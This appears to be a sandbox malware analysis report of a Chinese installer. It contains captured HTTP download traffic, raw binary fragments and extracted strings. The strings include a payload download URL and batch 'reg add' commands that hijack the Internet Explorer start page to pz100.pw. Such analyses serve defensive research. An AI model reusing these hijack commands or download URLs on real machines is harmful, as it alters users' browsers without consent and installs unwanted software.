.;.s........u.3....N. ......;................ .;.s.3.......u.3....N. ......;
<<
<<< skipped >>>
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /client1/common/patch/16101830722/BDMNet.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=589824-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client1/common/patch/16101830722/BDMNet.dll?wsiphost=ipdb
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Range: bytes=819200-
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 206 Partial Content
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:30 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 388320
Content-Range: bytes 819200-1207519/1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
$.................u.2.Y....L$.P.|.....Y..........D$.P..........u.2.....L$.P.P.......................T$...$PR...Q.D$......D$......K......@......u.2.......PQ.L$...-................3..H..H..H......3..H..H..H....S.\$..C.VW..3.;.u.3....s. ....;..O..O..O.tb.....?v..h...QV......G..G.....G..s....9s.v...l..U.k.;k.v...l...O. ............4.t.PUPQ..]......w.].._^[..............QSU.l$.V..W.~...t..F... ....u.3...;.v..Ql....t.;.t..Dl...\$ .....T$$.D$ Rj.PU........~.;~.v...l...|$ .<.;~.w.;~.s...l...D$..x._.0^][Y..........QSU.l$.V..W.~...t..F... ....u.3...;.v...k....t.;.t...k...\$ .....T$$.D$ Rj.PU... ....~.;~.v...k...|$ .<.;~.w.;~.s..tk...D$..x._.0^][Y.............V...F...PVQV.D$.P........N.Q..`.....3..F..F.^................j.h.E..d.....P..HSUVW..v..3.P.D$\d........\$..D$t.x-.tLj.3.h.M...L$ .D$8.....t$4.D$$.......D$.P.L$8.t$h.....h.?...L$8Q.D$<.f...U`...L$p...R....E..x-.t..}....U..z-.t......L$t;..y.ug..-..u.u..w..C.9h.u..x...9.u..>...~..[.9 u...-.t.....W...........D$..X.9k.us..-.t....C..fW.].......C..X.H..U...;M.u.......-..q.u..w..>.E..A..U..J..C.9h.u..H....E.9(u......H..E..A..U,.A,.Q,.E,..8],.......L$..A.;x.........8_,........;.ug.F..x,.u..X,V.F,..k....F..L$..x-.uv..8Z,u..P.8Z,tc.P.8Z,u....Z,P.@,.......F..L$..V,.P,.^,.@.V.X,......v.x,.u..X,V.F,.........L$..x-.u..P.8Z,u...8Z,u..@,..A...;x..v...G....1..8Z,u..P..Z,P.@,.........L$..V,.P,.^,..V.X,.4...._,.}$.r..M.Q.i]......E$.....E ....U.E...N]...L$..A......v.....A..D$l.T$p.L$t...H..L$\d......Y_^][..T...............j.hHE..d.....P..HSUVW..v..3.P.D$\d........\$..D$t
<<
<<< skipped >>>
POST / HTTP/1.1
Connection: Keep-Alive
Content-Length: 188
Content-Type: application/octet-stream
Host: s.x.baidu.com
Keep-Alive: timeout=600,max=1000
...p........" f5e712debdc652d438a8c8ba67ccb6f2(.28.y.E.. T..h.<[....~....F..B6..aTS.......h..Qz.^.|A.z6..38.@.H.P.X.` ...@.%.Y..95( ......2d>...l....e.!O..lQ&...X.{.w.A0..Ti.z..b
.W./.%M"
HTTP/1.1 200 OK
Server: iYuntianSvr
Content-Type: application/octet-stream
Keep-Alive: timeout=30
Connection: Keep-Alive
Content-Length: 140
...p........" f5e712debdc652d438a8c8ba67ccb6f2(.28.y.E.. T..h.<[....~....F..B6..aTS.......h..Qz.^.|A.z6..38.@.H.P.X.` .....%.4..}..jU.Q..K..HTTP/1.1 200 OK..Server: iYuntianSvr..Content-Type: application/octet-stream..Keep-Alive: timeout=30..Connection: Keep-Alive..Content-Length: 140.....p........" f5e712debdc652d438a8c8ba67ccb6f2(.28.y.E.. T..h.<[....~....F..B6..aTS.......h..Qz.^.|A.z6..38.@.H.P.X.` .....%.4..}..jU.Q..K....
GET /client1/common/patch/16101830722/BDMNet.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=1015808-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client1/common/patch/16101830722/BDMNet.dll?wsiphost=ipdb
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Range: bytes=1179648-
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 206 Partial Content
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:31 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 27872
Content-Range: bytes 1179648-1207519/1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
.6.7.7.7.8.8.8.8.8.9.9.9.9.:.:.:.:s;.;.;.;.<.=.=<=Y=.=#>5>\>y>.>c?r?.?.?.`.......0%0L0i0.0.0.0.1$1.1.1.1.1.2.2c2r2.2.2.3.3<3Y3.3.3.3.3.4s4.4.4.4.4.5S5b5.5.5.5.696k6p6.6.6.6S7e7.7.7.7.738B8d8.8.8.8.9K9P9.9.9.:.:c:u:.:.:.:.:C;R;t;.;.;.;.;.<K<P<.<.<.<.<#=5=\=y=.=.=.?.?.?.p.......0n0.0.0.1)1.1.2"2D2k2.2.2.2.2 303.3.3.3.3.4%4L4i4.4.4.6%6L6i6'7`7.7.7.7.8.8C9R9t9.93:E:l:.:.:.:.;";D;.;.;.<,<I<{<.<c=u=.=.=C>R>t>.>.>.>.?K?P?......T...p1w1.1.1.1.1.1.1.1.1.1.1.1.122.2.2s3.3.4.4.5.5e6.6.7.708I8C:Q:.;.;.<I=.=.?.?....h....1.1.4.4.6.6.6s7.7.7...
Map
Strings from Dumps
%original file name%.exe_368:
.text
.text
`.rdata
`.rdata
@.data
@.data
.ndata
.ndata
.rsrc
.rsrc
uDSSh
uDSSh
.DEFAULT\Control Panel\International
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
Software\Microsoft\Windows\CurrentVersion
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHFileOperationA
SHFileOperationA
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
RegEnumKeyA
RegEnumKeyA
RegCreateKeyExA
RegCreateKeyExA
RegCloseKey
RegCloseKey
RegDeleteKeyA
RegDeleteKeyA
RegOpenKeyExA
RegOpenKeyExA
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
ole32.dll
ole32.dll
VERSION.dll
VERSION.dll
verifying installer: %d%%
verifying installer: %d%%
http://nsis.sf.net/NSIS_Error
http://nsis.sf.net/NSIS_Error
... %d%%
... %d%%
~nsu.tmp
~nsu.tmp
%u.%u%s%s
%u.%u%s%s
RegDeleteKeyExA
RegDeleteKeyExA
%s=%s
%s=%s
*?|<>/":
*?|<>/":
\LOCALS~1\Temp\nsu2.tmp\NSISdl.dll
\LOCALS~1\Temp\nsu2.tmp\NSISdl.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu2.tmp\NSISdl.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu2.tmp\NSISdl.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu2.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu2.tmp
zb.ini
zb.ini
e http://www.p100.pw
e http://www.p100.pw
webR
webR
.JI(5
.JI(5
nsu2.tmp
nsu2.tmp
100.pw
100.pw
ni=zb.ini&v=1.0.1.1
ni=zb.ini&v=1.0.1.1
1.0.1.1
1.0.1.1
//down.cnlww.org:99/KXWebBox_3409_RBF.rar
//down.cnlww.org:99/KXWebBox_3409_RBF.rar
c:\%original file name%.exe
c:\%original file name%.exe
%Program Files%\lvdou
%Program Files%\lvdou
%original file name%.exe
%original file name%.exe
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu1.tmp
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu1.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
KXWebBox_3409_RBF.exe
KXWebBox_3409_RBF.exe
http://down.cnlww.org:99/KXWebBox_3409_RBF.rar
http://down.cnlww.org:99/KXWebBox_3409_RBF.rar
an.ico
an.ico
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.44</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges></security></trustInfo></assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.44</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges></security></trustInfo></assembly>
%Documents and Settings%\%current user%\Desktop\360
%Documents and Settings%\%current user%\Desktop\360
cmd.exe_552:
.text
.text
`.data
`.data
.rsrc
.rsrc
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
msvcrt.dll
msvcrt.dll
USER32.dll
USER32.dll
SetConsoleInputExeNameW
SetConsoleInputExeNameW
APerformUnaryOperation: '%c'
APerformUnaryOperation: '%c'
APerformArithmeticOperation: '%c'
APerformArithmeticOperation: '%c'
ADVAPI32.dll
ADVAPI32.dll
SHELL32.dll
SHELL32.dll
MPR.dll
MPR.dll
RegEnumKeyW
RegEnumKeyW
RegDeleteKeyW
RegDeleteKeyW
RegCloseKey
RegCloseKey
RegOpenKeyW
RegOpenKeyW
RegCreateKeyExW
RegCreateKeyExW
RegOpenKeyExW
RegOpenKeyExW
ShellExecuteExW
ShellExecuteExW
CmdBatNotification
CmdBatNotification
GetWindowsDirectoryW
GetWindowsDirectoryW
GetProcessHeap
GetProcessHeap
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
_pipe
_pipe
GetProcessWindowStation
GetProcessWindowStation
cmd.pdb
cmd.pdb
pauseelims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
pauseelims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
pause/f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
pause/f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
pausee" /d %%f /f)
pausee" /d %%f /f)
pauseor /f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
pauseor /f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
pause(reg add %%a /v "%%e" /d %%f /f)
pause(reg add %%a /v "%%e" /d %%f /f)
pauses=- tokens=1-3" %%b in ("%reglist2%") do (reg add %%a /v %%b /t %%c /d %%d /f)
pauses=- tokens=1-3" %%b in ("%reglist2%") do (reg add %%a /v %%b /t %%c /d %%d /f)
for /f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
for /f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
CMD Internal Error %s
CMD Internal Error %s
)(&&())))(&))
)(&&())))(&))
)&((&)&))&())
)&((&)&))&())
)&((&)&)&()))
)&((&)&)&()))
)(&&()))&))))
)(&&()))&))))
CMD.EXE
CMD.EXE
()|&=,;"
()|&=,;"
COPYCMD
COPYCMD
\XCOPY.EXE
\XCOPY.EXE
CMDCMDLINE
CMDCMDLINE
WKERNEL32.DLL
WKERNEL32.DLL
Software\Policies\Microsoft\Windows\System
Software\Policies\Microsoft\Windows\System
0123456789
0123456789
cmd.exe
cmd.exe
DIRCMD
DIRCMD
%d.%d.d
%d.%d.d
Ungetting: '%s'
Ungetting: '%s'
DisableCMD
DisableCMD
GeToken: (%x) '%s'
GeToken: (%x) '%s'
%s\Shell\Open\Command
%s\Shell\Open\Command
%x %c
%x %c
*** Unknown type: %x
*** Unknown type: %x
Args: `%s'
Args: `%s'
Cmd: %s Type: %x
Cmd: %s Type: %x
%s (%s) %s
%s (%s) %s
r /f "delims=- tokens=1-2" %e in ("Start Page-"http://www.pz100.pw" ") do (reg add %a /v "%e" /d %f /f)
r /f "delims=- tokens=1-2" %e in ("Start Page-"http://www.pz100.pw" ") do (reg add %a /v "%e" /d %f /f)
//www.pz100.pw"") do (reg add %a /v %b /t %c /d %d /f)
//www.pz100.pw"") do (reg add %a /v %b /t %c /d %d /f)
a /v "%e" /d %f /f
a /v "%e" /d %f /f
z100.pw" "
z100.pw" "
EA-08002B30309D}\shell\OpenHomePage\Command"
EA-08002B30309D}\shell\OpenHomePage\Command"
//www.pz100.pw"
//www.pz100.pw"
%Program Files%\lvdou>
%Program Files%\lvdou>
.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
%WinDir%;%WinDir%\System32\Wbem;c:\Program Files\Wireshark
%WinDir%;%WinDir%\System32\Wbem;c:\Program Files\Wireshark
or /f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
or /f "delims=- tokens=1-2" %%e in ("%reglist1%") do (reg add %%a /v "%%e" /d %%f /f)
CMDEXTVERSION
CMDEXTVERSION
KEYS
KEYS
%Program Files%\lvdou
%Program Files%\lvdou
Press any key to continue . . .
Press any key to continue . . .
ernet Explorer\Main" /v "Start Page" /d "http://www.pz100.pw" /f
ernet Explorer\Main" /v "Start Page" /d "http://www.pz100.pw" /f
orer\iexplore.exe http://www.pz100.pw" /f
orer\iexplore.exe http://www.pz100.pw" /f
%s %s
%s %s
(%s) %s
(%s) %s
%s %s%s
%s %s%s
&()[]{}^=;!%' ,`~
&()[]{}^=;!%' ,`~
d%sd%s
d%sd%s
-%sd%sd%sd
-%sd%sd%sd
d%sd%sd
d%sd%sd
%s=%s
%s=%s
X-X
X-X
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS
<> -*/%()|^&=,
<> -*/%()|^&=,
\CMD.EXE
\CMD.EXE
Windows Command Processor
Windows Command Processor
5.1.2600.5512 (xpsp.080413-2111)
5.1.2600.5512 (xpsp.080413-2111)
Cmd.Exe
Cmd.Exe
Windows
Windows
Operating System
Operating System
5.1.2600.5512
5.1.2600.5512
Press any key to continue . . . %0
Press any key to continue . . . %0
operable program or batch file.
operable program or batch file.
The system cannot execute the specified program.
The system cannot execute the specified program.
and press any key when ready. %0
and press any key when ready. %0
Microsoft Windows XP [Version %1]%0
Microsoft Windows XP [Version %1]%0
a pipe operation.
a pipe operation.
KEYS is on.
KEYS is on.
KEYS is off.
KEYS is off.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The switch /Y may be preset in the COPYCMD environment variable.
The switch /Y may be preset in the COPYCMD environment variable.
to prompt on overwrites unless COPY command is being executed from
to prompt on overwrites unless COPY command is being executed from
Switches may be preset in the DIRCMD environment variable. Override
Switches may be preset in the DIRCMD environment variable. Override
Quits the CMD.EXE program (command interpreter) or the current batch
Quits the CMD.EXE program (command interpreter) or the current batch
CMD.EXE. If executed from outside a batch script, it
CMD.EXE. If executed from outside a batch script, it
will quit CMD.EXE
will quit CMD.EXE
ERRORLEVEL that number. If quitting CMD.EXE, sets the process
ERRORLEVEL that number. If quitting CMD.EXE, sets the process
Displays or sets a search path for executable files.
Displays or sets a search path for executable files.
Type PATH ; to clear all search-path settings and direct cmd.exe to search
Type PATH ; to clear all search-path settings and direct cmd.exe to search
Changes the cmd.exe command prompt.
Changes the cmd.exe command prompt.
$B | (pipe)
$B | (pipe)
$V Windows XP version number
$V Windows XP version number
Displays, sets, or removes cmd.exe environment variables.
Displays, sets, or removes cmd.exe environment variables.
Displays the Windows XP version.
Displays the Windows XP version.
Tells cmd.exe whether to verify that your files are written correctly to a
Tells cmd.exe whether to verify that your files are written correctly to a
Records comments (remarks) in a batch file or CONFIG.SYS.
Records comments (remarks) in a batch file or CONFIG.SYS.
Press any key to continue . . . %0
Press any key to continue . . . %0
Directs cmd.exe to a labeled line in a batch program.
Directs cmd.exe to a labeled line in a batch program.
NOT Specifies that Windows XP should carry out
NOT Specifies that Windows XP should carry out
will execute the command after the ELSE keyword if the
will execute the command after the ELSE keyword if the
I The new environment will be the original environment passed
I The new environment will be the original environment passed
to the cmd.exe and not the current environment.
to the cmd.exe and not the current environment.
SEPARATE Start 16-bit Windows program in separate memory space
SEPARATE Start 16-bit Windows program in separate memory space
SHARED Start 16-bit Windows program in shared memory space
SHARED Start 16-bit Windows program in shared memory space
If it is an internal cmd command or a batch file then
If it is an internal cmd command or a batch file then
the command processor is run with the /K switch to cmd.exe.
the command processor is run with the /K switch to cmd.exe.
If it is not an internal cmd command or batch file then
If it is not an internal cmd command or batch file then
parameters These are the parameters passed to the command/program
parameters These are the parameters passed to the command/program
under Windows XP.
under Windows XP.
Starts a new instance of the Windows XP command interpreter
Starts a new instance of the Windows XP command interpreter
CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
/D Disable execution of AutoRun commands from registry (see below)
/D Disable execution of AutoRun commands from registry (see below)
/A Causes the output of internal commands to a pipe or file to be ANSI
/A Causes the output of internal commands to a pipe or file to be ANSI
/U Causes the output of internal commands to a pipe or file to be
/U Causes the output of internal commands to a pipe or file to be
variable var at execution time. The %var% syntax expands variables
variable var at execution time. The %var% syntax expands variables
of an executable file.
of an executable file.
If /D was NOT specified on the command line, then when CMD.EXE starts, it
If /D was NOT specified on the command line, then when CMD.EXE starts, it
either or both are present, they are executed first.
either or both are present, they are executed first.
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
can enable or disable extensions for all invocations of CMD.EXE on a
can enable or disable extensions for all invocations of CMD.EXE on a
following REG_DWORD values in the registry using REGEDT32.EXE:
following REG_DWORD values in the registry using REGEDT32.EXE:
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions
particular invocation of CMD.EXE with the /V:ON or /V:OFF switch. You
particular invocation of CMD.EXE with the /V:ON or /V:OFF switch. You
can enable or disable completion for all invocations of CMD.EXE on a
can enable or disable completion for all invocations of CMD.EXE on a
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion
at execution time.
at execution time.
CMD.EXE with the /F:ON or /F:OFF switch. You can enable or disable
CMD.EXE with the /F:ON or /F:OFF switch. You can enable or disable
completion for all invocations of CMD.EXE on a machine and/or user logon
completion for all invocations of CMD.EXE on a machine and/or user logon
the registry using REGEDT32.EXE:
the registry using REGEDT32.EXE:
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar
Shift key with the control character will move through the list
Shift key with the control character will move through the list
&()[]{}^=;!%' ,`~
&()[]{}^=;!%' ,`~
Command Processor Extensions enabled by default. Use CMD /? for details.
Command Processor Extensions enabled by default. Use CMD /? for details.
ASSOC [.ext[=[fileType]]]
ASSOC [.ext[=[fileType]]]
.ext Specifies the file extension to associate the file type with
.ext Specifies the file extension to associate the file type with
ASSOC .pl=PerlScript
ASSOC .pl=PerlScript
FTYPE PerlScript=perl.exe %%1 %%*
FTYPE PerlScript=perl.exe %%1 %%*
script.pl 1 2 3
script.pl 1 2 3
set PATHEXT=.pl;%%PATHEXT%%
set PATHEXT=.pl;%%PATHEXT%%
The restartable option to the COPY command is not supported by
The restartable option to the COPY command is not supported by
this version of the operating system.
this version of the operating system.
The following usage of the path operator in batch-parameter
The following usage of the path operator in batch-parameter
The unicode output option to CMD.EXE is not supported by this
The unicode output option to CMD.EXE is not supported by this
version of the operating system.
version of the operating system.
If Command Extensions are enabled the DATE command supports
If Command Extensions are enabled the DATE command supports
If Command Extensions are enabled the TIME command supports
If Command Extensions are enabled the TIME command supports
If Command Extensions are enabled the PROMPT command supports
If Command Extensions are enabled the PROMPT command supports
is pretty simple and supports the following operations, in decreasing
is pretty simple and supports the following operations, in decreasing
! ~ - - unary operators
! ~ - - unary operators
* / %% - arithmetic operators
* / %% - arithmetic operators
- - arithmetic operators
- - arithmetic operators
&= ^= |= <<= >>=
&= ^= |= <<= >>=
If you use any of the logical or modulus operators, you will need to
If you use any of the logical or modulus operators, you will need to
values. If SET /A is executed from the command line outside of a
values. If SET /A is executed from the command line outside of a
assignment operator requires an environment variable name to the left of
assignment operator requires an environment variable name to the left of
the assignment operator. Numeric values are decimal numbers, unless
the assignment operator. Numeric values are decimal numbers, unless
occurrence of the remaining portion of str1.
occurrence of the remaining portion of str1.
Finally, support for delayed environment variable expansion has been
Finally, support for delayed environment variable expansion has been
added. This support is always disabled by default, but may be
added. This support is always disabled by default, but may be
enabled/disabled via the /V command line switch to CMD.EXE. See CMD /?
enabled/disabled via the /V command line switch to CMD.EXE. See CMD /?
of text is read, not when it is executed. The following example
of text is read, not when it is executed. The following example
So the actual FOR loop we are executing is:
So the actual FOR loop we are executing is:
%Í%% - expands to the current directory string.
%Í%% - expands to the current directory string.
%ÚTE%% - expands to current date using same format as DATE command.
%ÚTE%% - expands to current date using same format as DATE command.
%%CMDEXTVERSION%% - expands to the current Command Processor Extensions
%%CMDEXTVERSION%% - expands to the current Command Processor Extensions
%%CMDCMDLINE%% - expands to the original command line that invoked the
%%CMDCMDLINE%% - expands to the original command line that invoked the
If Command Extensions are enabled the SHIFT command supports
If Command Extensions are enabled the SHIFT command supports
control is passed to the statement after the label specified. You must
control is passed to the statement after the label specified. You must
%%4 %%5 ...)
%%4 %%5 ...)
CMD /? for details.
CMD /? for details.
This works because on old versions of CMD.EXE, SETLOCAL does NOT
This works because on old versions of CMD.EXE, SETLOCAL does NOT
command execution.
command execution.
non-executable files may be invoked through their file association just
non-executable files may be invoked through their file association just
by typing the name of the file as a command. (e.g. WORD.DOC would
by typing the name of the file as a command. (e.g. WORD.DOC would
launch the application associated with the .DOC file extension).
launch the application associated with the .DOC file extension).
When executing an application that is a 32-bit GUI application, CMD.EXE
When executing an application that is a 32-bit GUI application, CMD.EXE
the command prompt. This new behavior does NOT occur if executing
the command prompt. This new behavior does NOT occur if executing
When executing a command line whose first token is the string "CMD "
When executing a command line whose first token is the string "CMD "
without an extension or path qualifier, then "CMD" is replaced with
without an extension or path qualifier, then "CMD" is replaced with
the value of the COMSPEC variable. This prevents picking up CMD.EXE
the value of the COMSPEC variable. This prevents picking up CMD.EXE
When executing a command line whose first token does NOT contain an
When executing a command line whose first token does NOT contain an
extension, then CMD.EXE uses the value of the PATHEXT
extension, then CMD.EXE uses the value of the PATHEXT
.COM;.EXE;.BAT;.CMD
.COM;.EXE;.BAT;.CMD
When searching for an executable, if there is no match on any extension,
When searching for an executable, if there is no match on any extension,
If Command Extensions are enabled, and running on the Windows XP
If Command Extensions are enabled, and running on the Windows XP
forms of the FOR command are supported:
forms of the FOR command are supported:
Walks the directory tree rooted at [drive:]path, executing the FOR
Walks the directory tree rooted at [drive:]path, executing the FOR
passes the first blank separated token from each line of each file.
passes the first blank separated token from each line of each file.
is a quoted string which contains one or more keywords to specify
is a quoted string which contains one or more keywords to specify
different parsing options. The keywords are:
different parsing options. The keywords are:
be passed to the for body for each iteration.
be passed to the for body for each iteration.
where a back quoted string is executed as a
where a back quoted string is executed as a
FOR /F "eol=; tokens=2,3* delims=, " %%i in (myfile.txt) do @echo %%i %%j %%k
FOR /F "eol=; tokens=2,3* delims=, " %%i in (myfile.txt) do @echo %%i %%j %%k
would parse each line in myfile.txt, ignoring lines that begin with
would parse each line in myfile.txt, ignoring lines that begin with
a semicolon, passing the 2nd and 3rd token from each line to the for
a semicolon, passing the 2nd and 3rd token from each line to the for
line, which is passed to a child CMD.EXE and the output is captured
line, which is passed to a child CMD.EXE and the output is captured
IF CMDEXTVERSION number command
IF CMDEXTVERSION number command
The CMDEXTVERSION conditional works just like ERRORLEVEL, except it is
The CMDEXTVERSION conditional works just like ERRORLEVEL, except it is
CMDEXTVERSION conditional is never true when Command Extensions are
